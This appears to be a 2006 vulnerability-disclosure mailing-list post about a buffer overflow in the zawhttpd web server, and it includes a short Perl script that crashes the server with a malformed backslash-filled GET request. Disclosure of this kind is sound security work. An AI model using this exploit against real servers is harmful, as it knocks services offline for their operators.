From: Kamil Sienicki (K3spelunca.int.pl)
Date: Tue May 02 2006 - 17:40:13 CDT

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Name: zawhttpd
Version: 0.8.23 previous version probably too.
Language: C
Problem: Buffer Overflow
Vendor: http://www.norz.org/zawhttpd.html
Discovered by: Kamil 'K3' Sienicki

Description:
zawhttpd is a mini Web server that features HTTP/1.0 and 1.1 support,
keep-alive persistent connections, IPv6 support, GET and HEAD requests,
chunked encoding and content-range, directory listing, basic
authentication,
access logging, daemon mode, and more.

Problem:
A remote user can supply a specially crafted data which crash server.

Exploit:
#!/usr/bin/perl
# zawhttpd Buffer Overflow Exploit
# by Kamil 'K3' Sienicki

use IO::Socket;
use strict;

my($socket) = "";

if($socket = IO::Socket::INET->new(
                PeerAddr => $ARGV[0],
                PeerPort => $ARGV[1],
                Proto => "TCP"))
{
        print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";
        print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";
        close($socket);
}
else
{
        print "perl zawhttpd.pl localhost 80 \n";
        print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}

--
Kamil 'K3' Sienicki

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]